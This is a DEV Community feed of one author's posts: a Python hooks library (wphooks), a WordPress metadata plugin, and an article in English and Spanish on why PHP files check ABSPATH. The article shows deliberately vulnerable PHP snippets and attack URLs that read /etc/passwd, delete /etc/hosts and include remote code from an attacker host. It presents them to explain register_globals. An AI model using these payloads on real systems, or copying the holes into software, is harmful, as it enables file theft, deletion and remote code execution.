DEV Community: Manuel Canga

Escribe código Python modular y extensible con Hooks al estilo WordPress (Te presento wphooks)

Manuel Canga — Thu, 11 Dec 2025 17:16:07 +0000

Si alguna vez has trabajado con WordPress como desarrollador, ya conoces su superpoder secreto: hooks.

Las acciones (actions) y filtros (filters) son la base de la extensibilidad de WordPress y permiten que los plugins modifiquen casi cualquier cosa sin tocar los archivos principales.

Ahora imagina traer esa misma extensibilidad a Python — de manera limpia, ligera y agnóstica a frameworks.

Eso es exactamente lo que hace wphooks.

PyPI: pip install wphooks

GitHub: https://github.com/manuelcanga/wphooks/

¿Por qué debería interesarte los Hooks en Python?

Python ya tiene signals (Django), observadores, emisores de eventos e incluso librerías como blinker.

Son útiles, pero ninguna de ellas recrea completamente la experiencia de extensibilidad estilo plugin que ofrece WordPress:

“Haz algo en este punto específico del flujo de ejecución”
“Modifica un valor antes de usarlo”
“Añade nueva funcionalidad sin tocar el código principal”
“Mantén las nuevas funcionalidades en módulos separados, no dentro de funciones superlargas que nadie quiere tocar.“

Aquí es donde wphooks destaca.

Trae los mismos conceptos que impulsan al 40% de la web directamente a Python:

Actions → lanza eventos
Filters → transformar datos mediante una cadena de funciones
API mínima → add_action(), do_action(), add_filter(), apply_filters()

Sin frameworks. Sin abstracciones pesadas. Todo plug and play.

Usa los Hooks en código legacy

Imagina esta situación clásica:

Heredas una función de 1000 líneas como process_order().

Es crítica para el negocio. Nadie se atreve a tocarla.

Ahora los de producto te piden: “Envia notificación a Slack cuando se procese un pedido”.

Opción A: editas la función enorme y cruza los dedos para que no se rompa nada.

Opción B: añades un hook y mantienes la nueva lógica en un archivo limpio y separado.

Con wphooks:

Dentro de la función legacy:

def process_order(order):
    # lógica existente...
    do_action('order_processed', order)

En un archivo/módulo separado:

def send_slack_notification(order):
    slack.send(f"Pedido {order.id} recibido!")

add_action('order_processed', send_slack_notification)

Este es el principio abierto/cerrado (Open/Closed Principle) en acción:
Tu función principal sigue cerrada a modificaciones, pero abierta a extensiones.

Actions: “Haz algo cuando ocurra esto”

Las actions permiten adjuntar cualquier número de funciones a un evento y ejecutarlas en el momento adecuado.

from wphooks import add_action, do_action

def send_welcome_email(user_id):
    print(f"Enviando correo de bienvenida a {user_id}")

add_action('user_registered', send_welcome_email)

do_action('user_registered', 123)

Perfecto para:

enviar emails
logging
analíticas
integraciones con terceros
tareas en segundo plano

Filters: “Modifica un valor antes de usarlo”

Los filters son el valor diferencial de wphooks frente a Django Signals o blinker.
Permiten transformar datos en cadena, al estilo WordPress.

from wphooks import add_filter, apply_filters

def uppercase_title(title):
    return title.upper()

add_filter('format_title', uppercase_title)

title = apply_filters('format_title', "hola mundo")
print(title)   # HOLA MUNDO

Se usan para:

formatear datos
sanitizar entradas
ajustes de precios
preprocesar valores
extensiones de plugins
sobrescribir configuraciones

Se pueden añadir múltiples filtros, y la salida de uno se convierte en la entrada del siguiente.

Instalación

Instalar desde PyPI:

pip install wphooks

O desde el código fuente:

git clone https://github.com/manuelcanga/wphooks.git
cd wphooks
pip install .

Usalo en tu proyecto, importando:

from wphooks import add_action, do_action
from wphooks import add_filter, apply_filters

¿Quién debería usar wphooks?

Úsalo si quieres:

API extensibles estilo WordPress en Python
filtros que transformen datos
arquitectura ligera tipo plugin
modernizar código legacy de forma segura
hooks sin frameworks

Reflexión final

WordPress demostró hace más de una década que un sistema de hooks simple puede impulsar un ecosistema masivo de plugins, themes y extensiones.
wphooks trae esta arquitectura probada a Python, permitiendo crear aplicaciones limpias, modulares y extensibles con un esfuerzo mínimo.

Si alguna vez deseaste un equivalente directo de WordPress hooks en Python, ahora lo tienes.

Instálalo y pruébalo:

pip install wphooks

Repositorio y documentación:
https://github.com/manuelcanga/wphooks/

Write Modular, Extensible Python Code Using WordPress-Style Hooks (Introducing wphooks)

Manuel Canga — Thu, 11 Dec 2025 17:04:11 +0000

If you've ever touched WordPress as a developer, you already know its secret superpower: hooks.

Actions and filters are the backbone of WordPress extensibility and the reason plugins can modify almost anything without altering core files.

Now imagine bringing that same extensibility to Python — in a clean, lightweight, framework-agnostic way.

That’s exactly what wphooks does.

PyPI: pip install wphooks

GitHub: https://github.com/manuelcanga/wphooks/

Why Should Python Developers Care About Hooks?

Python already has signals (Django), observers, event emitters, and libraries like blinker.

They’re great — but none of them fully recreate the plugin-style extensibility that WordPress provides:

“Do something at this specific moment”
“Modify this value before using it”
“Add new behavior without touching core code”
“Make features live in separate modules, not inside giant legacy functions”

This is where wphooks shines.

It brings the same concepts that power 40% of the web directly into Python:

Actions → fire events
Filters → modify data through chained transformations
Minimal API → add_action(), do_action(), add_filter(), apply_filters()

No frameworks. No heavy abstractions. Just plug-and-extend.

When Hooks Save You From Legacy Hell

Picture this classic scenario:

You inherit a 1,000-line function, like process_order().

It's business-critical. Nobody dares touch it.

Now product wants “Send Slack notification when order completes”.

Option A: Edit the massive function and pray nothing breaks.

Option B: Add one hook call and keep new logic in a clean new file.

With wphooks:

Inside the legacy function:

def process_order(order):
    # existing logic...
    do_action('order_processed', order)

In a separate file/module:

def send_slack_notification(order):
    slack.send(f"Order {order.id} received!")

add_action('order_processed', send_slack_notification)

This is the Open/Closed Principle in practice:
Your legacy function stays closed for modification but open for extension.

Actions: “Do Something When This Happens”

Actions let you attach any number of functions to a named event and run them at the right moment.

from wphooks import add_action, do_action

def send_welcome_email(user_id):
    print(f"Sending welcome email to {user_id}")

add_action('user_registered', send_welcome_email)

do_action('user_registered', 123)

Perfect for:

sending emails
logging
analytics
third-party integrations
background tasks

Filters: “Modify a Value Before Using It”

Filters are the real differentiator of wphooks compared to Django Signals or blinker.
They allow chained transformation of data, just like WordPress.

from wphooks import add_filter, apply_filters

def uppercase_title(title):
    return title.upper()

add_filter('format_title', uppercase_title)

title = apply_filters('format_title', "hello world")
print(title)   # HELLO WORLD

Use filters for:

data formatting
sanitization
price adjustments
pre-processing values
plugin overrides
configuration mutation

Multiple filters can modify the value in sequence.

Installation

Install from PyPI:

pip install wphooks

Or install from source:

git clone https://github.com/manuelcanga/wphooks.git
cd wphooks
pip install .

Import:

from wphooks import add_action, do_action
from wphooks import add_filter, apply_filters

How wphooks Fits into the Python Landscape

Compared to Django Signals

Signals are powerful, but:

they don’t provide filters
they're tied to Django’s app infrastructure
they're less suitable for plugin systems

wphooks is framework-agnostic and intentionally minimal.

Compared to blinker

Blinker is an event emitter, not an extensibility layer.
It handles broadcasting well, but doesn't model the “WordPress-style hook pipeline”.

Compared to custom observer patterns

You can build your own, sure — but wphooks gives you:

a predictable API
simple naming conventions
an instantly recognizable mental model

Who Should Use wphooks?

Use wphooks if you want:

WordPress-style extensibility in Python
real data-modifying filters
a lightweight plugin architecture
a safe way to modernize legacy code
extensibility without frameworks

Final Thoughts

WordPress proved long ago that a simple hook system can power a massive ecosystem of plugins, themes, and extensions.
wphooks brings this tried-and-true architecture to Python, enabling developers to build clean, modular, and extensible applications with almost zero overhead.

If you’ve ever wished Python had a direct equivalent to WordPress hooks, now it does.

Install and try it:

pip install wphooks

Repository and documentation:
https://github.com/manuelcanga/wphooks/

How to View Your WordPress Fields in a Different Way

Manuel Canga — Thu, 05 Dec 2024 06:43:05 +0000

When working on a WordPress project—whether developing a plugin, creating a custom theme, or managing a live site—understanding metadata is essential. Metadata represents that invisible layer storing key information about your posts, terms, users, and comments. However, accessing these fields can be challenging without the right tools.

Why is Understanding Metadata Important?

Every element in WordPress—a post, user, or taxonomy term—has additional data stored in the database. This metadata can be custom or generated automatically by plugins and themes. Reviewing this information often requires complex SQL queries or detailed database inspections. Having a tool, like display-metadata, that allows you to visualize metadata directly from the WordPress admin panel significantly simplifies this task.

Simplifying Metadata Management

Having an organized and clear way to review metadata offers several advantages:

Easier Interpretation: Presenting metadata in a deserialized and structured format makes it easier to understand, even when it contains complex data.
Access from the Admin Panel: Avoid the need to access the database directly or write custom queries. Everything is available within WordPress's familiar environment.
Security: View all the data stored by your installed plugins.

Who Can Benefit from This Approach?

WordPress Developers: Quickly accessing metadata is useful for debugging and optimizing plugins or themes. It helps verify that custom fields are managed correctly and detect potential conflicts with other extensions.
System Administrators: Maintaining an organized and efficient database is crucial for site performance. Identifying and reviewing metadata makes cleaning unnecessary fields easier and optimizes storage.
Plugin Authors: Ensuring that a plugin handles metadata correctly is vital for functionality and compatibility. Reviewing this information streamlines the development and quality control processes.
Theme Creators: Knowing the available metadata allows you to use it effectively in templates. This information facilitates theme customization, offering greater design flexibility.

Installing the Plugin in WordPress

Installing a tool to visualize metadata directly from the admin panel is straightforward:

Log in to your WordPress admin panel (/wp-admin/).
Go to the Plugins section.
Select the Add New submenu option.
In the search bar, enter trasweb.
Install display-metadata and activate it from the search results.
Once activated, you will have access to metadata on the edit pages for posts, terms, users, and comments.

In Conclusion

Gaining a clear view of WordPress metadata can transform how you manage and develop your projects. It simplifies site debugging, optimization, and customization, providing deeper insights into stored data. There's no need to guess which fields are active or manually explore the database: the right tool gives you all the information you need, directly in your admin panel.

Cómo ver los campos de tu WordPress de un modo diferente

Manuel Canga — Thu, 05 Dec 2024 06:40:41 +0000

Cuando trabajas en un proyecto de WordPress, ya sea desarrollando un plugin, creando un tema personalizado o gestionando un sitio en producción, entender los metadatos es esencial. Los metadatos representan esa capa invisible que almacena información clave sobre tus publicaciones, términos, usuarios y comentarios. Sin embargo, acceder a estos campos puede resultar complicado si no cuentas con las herramientas adecuadas.

¿Por qué es importante conocer los metadatos?

Cada elemento en WordPress —una publicación, un usuario o un término de taxonomía— tiene datos adicionales almacenados en la base de datos. Estos metadatos pueden ser personalizados o generados automáticamente por plugins y temas. Revisar esta información suele implicar consultas SQL complejas o inspecciones detalladas en la base de datos. Disponer de una herramienta, como Display metadata, que permita visualizar los metadatos directamente en el panel de administración facilita considerablemente esta tarea.

Facilitando la gestión de metadatos

Contar con una forma organizada y clara de revisar los metadatos proporciona múltiples ventajas:

Interpretación más sencilla: Presentar los metadatos de forma deserializada y estructurada facilita su comprensión, incluso si contienen datos complejos.
Acceso desde el panel de administración: Evita la necesidad de acceder directamente a la base de datos o de escribir consultas personalizadas. Todo se encuentra disponible en el entorno habitual de WordPress.
Seguridad: Visualiza todos los datos que guardan los plugins que tienes instalado.

¿A quién puede beneficiar este enfoque?

Desarrolladores de WordPress: Acceder rápidamente a los metadatos es útil para depurar y optimizar plugins o temas. Permite verificar que los campos personalizados se gestionan correctamente y detectar posibles conflictos con otras extensiones.
Administradores de sistemas: Mantener una base de datos ordenada y eficiente es crucial para el rendimiento del sitio. Poder identificar y revisar los metadatos facilita la limpieza de campos innecesarios y optimiza el almacenamiento.
Autores de plugins: Verificar que un plugin maneja correctamente los metadatos ayuda a garantizar su funcionalidad y compatibilidad. Revisar esta información facilita el proceso de desarrollo y control de calidad.
Creadores de temas: Conocer los metadatos disponibles permite utilizarlos de manera efectiva en las plantillas. Esta información facilita la personalización del tema, permitiendo una mayor flexibilidad en el diseño.

Instalación del plugin en WordPress

Instalar una herramienta que permita visualizar los metadatos directamente desde el panel de administración es sencillo:

Inicia sesión en el panel de administración de tu sitio WordPress (/wp-admin/).
Ve a la sección Plugins.
Selecciona la opción del submenú Añadir nuevo.
En la barra de búsqueda, introduce trasweb.
Instála display-metadata y actívalo desde los resultados de búsqueda.
Una vez activado, tendrás acceso a los metadatos en las páginas de edición de entradas, términos, usuarios y comentarios.

Finalmente

Contar con una visión clara de los metadatos de WordPress puede transformar la manera en que gestionas y desarrollas tus proyectos. Facilita la depuración, optimización y personalización del sitio, ofreciendo una perspectiva más profunda de los datos almacenados. Ya no es necesario adivinar qué campos están activos o explorar la base de datos manualmente: una herramienta adecuada puede proporcionarte toda la información que necesitas, directamente en tu panel de administración.

That Strange PHP Code in Frameworks and CMSs

Manuel Canga — Sun, 10 Nov 2024 10:35:47 +0000

Note: To follow along with this post, it's assumed you have some basic knowledge of programming in PHP.

This article discusses a PHP code snippet that you’ve likely seen at the top of your favorite CMS or framework. You've probably read that you should always include it at the beginning of every PHP file you develop, for security reasons, although without a very clear explanation of why. I’m referring to this code:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

This type of code is very common in WordPress files, although it appears in nearly all frameworks and CMSs. In the case of the Joomla CMS, for example, the only change is that instead of ABSPATH, it uses JEXEC. Other than that, the logic remains the same. This CMS evolved from a previous system called Mambo, which also used similar code, but with _VALID_MOS as the constant. If we go even further back, we find that the first CMS to use this kind of code was PHP-Nuke (considered by some to be the first PHP-based CMS).

The execution flow of PHP-Nuke (and most CMSs and frameworks today) consisted of sequentially loading multiple files to respond to the action the user or visitor had taken on the website. For example, imagine a website from that era hosted at example.net with this CMS installed. Every time the homepage loaded, the system executed a sequence of files in order (this is just an example, not an actual sequence): index.php => load_modules.php => modules.php. In this chain, index.php was loaded first, which then loaded load_modules.php, which in turn loaded modules.php.

This execution chain didn’t always start with the first file (index.php). In fact, anyone could bypass part of the flow by directly accessing one of the other PHP files through its URL (for example, http://example.net/load_modules.php or http://example.net/modules.php), which, as we will see, could be risky in many cases.

How was this problem solved? A security measure was introduced, adding code similar to this at the beginning of each file:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

Essentially, this code, placed at the top of a file named modules.php, checked if modules.php was being accessed directly via the URL. If so, execution was stopped, displaying the message: “You can’t access this file directly…” If $HTTP_SERVER_VARS['PHP_SELF'] didn’t contain modules.php, it meant that the normal execution flow was active, allowing the script to continue.

This code, however, had some limitations. First, the code was different for each file in which it was inserted, which added complexity. Additionally, in certain situations, PHP did not assign a value to $HTTP_SERVER_VARS['PHP_SELF'], which limited its effectiveness.

So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.

Dangers of Directly Running a PHP File

At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.

The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.

It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.

Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.

So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."

Register Globals

Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.

Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}

The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.

However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.

This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:

<?php

require_once($base_path."/My.class.php");

An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.

Another example: in a script named remove_file.inc.php with the following code:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).

In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.

By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.

But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.

Finally, seeing that the situation didn’t improve, they made a drastic decision: to remove this functionality in PHP 5.4 to avoid all these problems. Thus, today, scripts like those we’ve seen (without using constants) are usually no longer a risk, except for some harmless warnings/notices in certain cases.

Current Use

Today, the constant technique is still common. However, the unfortunate reality — and the reason for this article — is that few developers understand the true reason behind its use.

As with other best practices from the past (like copying parameters into local variables inside functions to avoid issues with references or using underscores in private variables to distinguish them), many continue to apply it simply because someone once told them it was a good practice, without questioning whether it still adds value today. The truth is that, in the majority of cases, this technique is no longer necessary.

Here are some reasons why this practice has lost relevance:

Removal of *register globals: Since PHP 5.4, the automatic registration of GET and POST variables as globals in PHP was removed. Without *register globals, executing individual scripts directly is harmless, removing the main reason for this technique.
Better Code Design: Even in pre-PHP 5.4 versions, modern code is better structured, generally in classes and functions, making access or manipulation via external variables more challenging. Even WordPress, which traditionally used global variables, minimizes these risks.
Use of *front-controllers: Nowadays, most web applications employ well-designed *front-controllers to ensure that class and function code only executes if the execution chain starts at the main entry point. Thus, if someone attempts to load files in isolation, the logic won’t trigger unless the flow starts from the correct entry point.
Class Autoloading: With the widespread use of class autoloading in modern development, the use of include or require has significantly decreased. This reduces risks associated with these methods (like Remote File Inclusion or Local File Inclusion) among more experienced developers.
Separation of Public and Private Code: In many modern CMSs and frameworks, public code (like assets) is separated from private code (logic). This measure is especially valuable, as it ensures that, if PHP fails on the server, PHP code (whether or not it uses the constant technique) is not exposed. Although this separation wasn’t implemented specifically to mitigate register globals, it helps prevent other security issues.
Widespread Use of Friendly URLs: Nowadays, configuring servers to use friendly URLs is common practice, ensuring a single entry point for application logic. This makes it nearly impossible for anyone to load PHP files in isolation.
Error Suppression in Production: Most modern CMSs and frameworks disable error output by default, so attackers don’t find clues about the application’s inner workings, which could facilitate other types of attacks.

Even though this technique is no longer necessary in the majority of cases, that doesn’t mean it’s never useful. As a professional developer, it’s essential to analyze each situation and decide whether the constant technique is relevant to the specific context in which you’re working. This kind of critical thinking should always be applied, even to so-called best practices.

Not Sure? Here are Some Tips

If you’re still unsure when to apply the constant technique, these recommendations may guide you:

Always use it if you think your code might run on a PHP version earlier than 5.4.
Don’t use it if the file only contains a class definition.
Don’t use it if the file contains only functions.
Don’t use it if the file only includes HTML/CSS, unless the HTML reveals sensitive information.
Don’t use it if the file only contains constants.

For everything else, if you’re in doubt, apply it. In most cases, it won’t be harmful and could protect you in unexpected circumstances, especially if you’re starting out. With time and experience, you’ll be able to assess when to apply this and other techniques more effectively.

Keep Learning...

Ese extraño código PHP en frameworks y CMS

Manuel Canga — Sun, 10 Nov 2024 10:29:35 +0000

Nota: para seguir este post se presupone que dispones de unos conocimientos mínimos de programación en PHP.

Esta entrada trata sobre un fragmento de código PHP que habrás visto en la parte superior de tu CMS o framework favorito y del cual probablemente hayas leído que debes incluir siempre, por seguridad, en la cabecera de todos los archivos PHP que desarrolles, aunque sin una explicación muy clara del porqué. Me refiero a este código:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

Este tipo de código es muy común en los archivos de WordPress, aunque en realidad aparece en casi todos los frameworks y CMS. En el caso del CMS Joomla, por ejemplo, lo único que cambia es que, en lugar de ABSPATH, se usa JEXEC. Por lo demás, la lógica es la misma. Este CMS surgió a partir de otro llamado Mambo, que también usaba un código similar, pero con _VALID_MOS como constante. Si retrocedemos aún más en el tiempo, encontraremos que el primer CMS en usar este tipo de código fue PHP-Nuke (considerado por algunos como el primer CMS en PHP).

El flujo de ejecución de PHP-Nuke (y de la mayoría de CMS y frameworks hoy en día) consistía en cargar de manera secuencial varios archivos que, en conjunto, daban respuesta a la acción realizada por el usuario o visitante en la web. Es decir, imagina un sitio web de esa época, bajo el dominio example.net y con este CMS instalado. Cada vez que se cargaba la página de inicio, el sistema ejecutaba una secuencia de archivos de manera ordenada (en este caso es solo un ejemplo, no es una secuencia real): index.php => load_modules.php => modules.php. Es decir, en esta sucesión, primero se cargaba index.php, luego este script cargaba load_modules.php, y este a su vez modules.php.

Esta cadena de ejecución no siempre empezaba por el primer archivo (index.php). De hecho, cualquiera podía saltarse parte de este flujo llamando directamente a uno de los otros archivos PHP por su URL (por ejemplo, http://example.net/load_modules.php o http://example.net/modules.php), lo cual, como veremos, podía ser peligroso en muchos casos.

¿Cómo se resolvió este problema? Se introdujo una medida de seguridad, agregando códigos al inicio de cada archivo, similares a este:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

Básicamente, este código, situado en la cabecera de un archivo llamado modules.php, verificaba si se estaba accediendo a modules.php directamente a través de la URL. Si era así, se detenía la ejecución mostrando el mensaje: "You can't access this file directly…". Si $HTTP_SERVER_VARS['PHP_SELF'] no contenía modules.php, entonces significaba que estábamos en el flujo normal de ejecución y se permitía continuar.

Este código, sin embargo, presentaba algunas limitaciones. Primero, el código era distinto para cada archivo en el que se insertaba, lo que añadía complejidad. Además, en ciertas circunstancias, PHP no asignaba un valor a $HTTP_SERVER_VARS['PHP_SELF'], lo cual limitaba su efectividad.

Entonces, ¿qué hicieron los desarrolladores? Sustituyeron todos esos fragmentos de código por una versión más sencilla y eficiente:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

En este nuevo código, que ya era bastante común en la comunidad PHP, se verificaba la existencia de una constante. Esta constante se definía y asignaba un valor en el primer archivo del flujo (index.php o home.php o algún archivo similar). Por lo tanto, si esta constante no existía en algún otro archivo de la secuencia, significaba que alguien había saltado el archivo index.php y estaba intentando acceder a otro archivo directamente.

Peligros de que alguien lance un archivo PHP directamente

Seguramente a estas alturas estés pensando que romper la cadena de ejecución debe de ser lo más grave del mundo. Sin embargo, la realidad es que, normalmente, no representa un peligro importante.

El peligro puede surgir cuando un error de PHP expone la ruta a nuestros archivos. Esto no debería preocuparnos si en el servidor tenemos configurada la supresión de errores, y, aunque los errores no estuvieran ocultos, la información expuesta sería mínima, proporcionando apenas algunas pistas a un posible atacante.

También podría ocurrir que alguien accediera a archivos que contuvieran fragmentos de HTML (de vistas), revelando parte de su contenido. En la mayoría de los casos, esto tampoco debería ser motivo de preocupación.

Finalmente, podría suceder que un desarrollador, bien por despiste o por falta de experiencia, inserte código peligroso y sin dependencia externa en medio de un flujo de ejecución. Esto es muy poco común, ya que normalmente el código de un framework o CMS depende de otras clases, funciones o variables externas para su ejecución. Por lo tanto, si se intenta ejecutar un script directamente a través de la URL, generará errores al no encontrar estas dependencias y no continuará su ejecución.

Entonces, ¿por qué añadir el código de la constante si apenas hay motivos de preocupación? La razón es la siguiente: "Este método también previene la inyección accidental de variables a través de un ataque a register globals, impidiendo que el archivo PHP asuma que está dentro de la aplicación cuando realmente no lo está."

Register globals

Desde los inicios de PHP, todas las variables enviadas a través de URLs (GET) o de formularios (POST) se convertían automáticamente en globales. Es decir, si se accedía al archivo download.php?filepath=/etc/passwd, en el archivo download.php (y en los que dependieran de él en el flujo de ejecución) se podía usar echo $filepath; y el resultado sería /etc/passwd.

Dentro de download.php, no había forma de saber si la variable $filepath había sido creada por un archivo previo en el flujo de ejecución o si alguien la había falsificado a través de la URL o con un POST. Esto generaba grandes agujeros de seguridad. Veámoslo con un ejemplo, suponiendo que el archivo download.php contiene el siguiente código:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}

El desarrollador probablemente pensó en implementar su código con un patrón Front Controller, es decir, haciendo que todas las peticiones web pasaran a través de un único archivo de entrada (index.php, home.php, etc.). Este archivo se encargaría de inicializar la sesión, cargar variables comunes, y finalmente, redirigir la petición a un script específico (en este caso download.php) para realizar la descarga del archivo.

Sin embargo, un atacante podría saltarse la secuencia de ejecución planeada, simplemente llamando a download.php?filepath=/etc/passwd como se mencionaba antes. Así, PHP crearía automáticamente la variable global $filepath con el valor /etc/passwd, permitiendo al atacante descargar ese archivo del sistema. Grave error.

Esto es solo la punta del iceberg, pues se podían ejecutar ataques aún más peligrosos con un esfuerzo mínimo. Por ejemplo, en un código como el siguiente, que el programador podría haber dejado como script sin terminar:

<?php

require_once($base_path."/My.class.php");

Un atacante podía ejecutar cualquier código usando un ataque de tipo Remote File Inclusion (RFI). Así, si el atacante creaba un archivo My.class.php en su propio sitio https://mysite.net con cualquier código que deseara ejecutar, podía llamar al script vulnerable pasándole su dominio: codigo_inutil.php?base_path=https://mysite.net, y el ataque quedaba completado.

Otro ejemplo: en un script llamado remove_file.inc.php con el siguiente código:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "Fichero borrado";
    }
}

un atacante podría llamar directamente a este archivo usando una URL como remove_file.inc.php?filename=/etc/hosts, y así intentaría borrar el archivo /etc/hosts del sistema (si el sistema lo permite, o bien, otros archivos a los que tenga permisos de eliminación).

En un CMS como WordPress, que además utiliza variables globales internamente, este tipo de ataques era devastador. Sin embargo, gracias a la técnica de la constante, estos y otros scripts PHP estaban protegidos. Veámoslo con el último ejemplo:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "Fichero borrado";
    }
}

Ahora, si alguien intentara acceder a remove_file.inc.php?filename=/etc/hosts, la constante bloquearía el acceso. Es fundamental que sea una constante, porque si fuera una variable, como es lógico, el atacante podría inyectarla.

A estas alturas seguramente te preguntarás por qué PHP mantuvo esta funcionalidad si era tan peligrosa. Además, si conoces otros lenguajes de scripting (JSP, Ruby, etc.), verás que no tienen algo similar (por eso mismo tampoco usan la técnica de la constante). Recordemos que PHP nació como un sistema de plantillas en C, y este comportamiento facilitaba el desarrollo. La buena noticia es que, viendo los problemas que causaba, los mantenedores de PHP decidieron introducir una directiva en php.ini llamada register_globals (activada por defecto) para permitir desactivar esta funcionalidad.

Pero como los problemas persistían, la desactivaron por defecto. Aún así, muchos hosts seguían activándola por miedo a que los proyectos de sus clientes dejaran de funcionar, ya que mucho del código de aquella época no usaba las variables recomendadas HTTP_*_VARS para acceder a los valores GET/POST/..., sino las variables globales.

Finalmente, viendo que la situación no cambiaba, tomaron una decisión drástica: eliminar esta funcionalidad en PHP 5.4 para evitar todos estos problemas. Así, hoy en día, los scripts como los que hemos visto (sin utilizar constantes) ya no suponen normalmente un peligro, salvo por alguna advertencia/notice inofensiva en ciertos casos.

Uso hoy en día

Hoy en día, la técnica de la constante sigue siendo común. Sin embargo, lo que resulta triste —y el motivo que originó esta publicación— es que pocos desarrolladores conocen la razón real de su uso.

Como sucede con otras buenas prácticas del pasado (como copiar los parámetros en una función a variables locales para evitar peligros con las referencias en la llamada, o usar guiones bajos en variables privadas para distinguirlas), muchos lo siguen aplicando solo porque alguien alguna vez les dijo que era una buena práctica, sin considerar si realmente aporta valor en los tiempos actuales. La realidad es que, en la mayoría de los casos, esta técnica ya no es necesaria.

Algunas razones por las que esta práctica ha perdido relevancia son las siguientes:

Desaparición de *register globals: Desde PHP 5.4, ya no existe la funcionalidad de registrar variables GET y POST como variables globales de PHP. Como hemos visto, sin *register globals, la ejecución de scripts individuales se vuelve inofensiva, eliminando la principal razón de esta práctica.
Mejor diseño en el código actual: Aun en versiones anteriores a PHP 5.4, el código moderno está mejor diseñado, estructurado en clases y funciones, lo que complica el acceso o la manipulación mediante variables externas. Incluso WordPress, que suele utilizar variables globales, minimiza estos riesgos.
Uso de *front-controllers: Hoy en día, la mayoría de las aplicaciones web utilizan *front-controllers bien diseñados, que garantizan que el código de las clases y funciones solo se ejecute si la cadena de ejecución comienza en el punto de entrada principal. Así, no importa si alguien intenta cargar archivos de forma aislada: la lógica no se activará si no se inicia el flujo desde el punto adecuado.
Autocarga de clases: Dado que en el desarrollo actual se utiliza la autocarga de clases, el uso de include o require se ha reducido considerablemente. Esto hace que, salvo que seas un desarrollador novato, no debería haber includes o requires que puedan presentar riesgos (como Remote File Inclusion o Local File Inclusion).
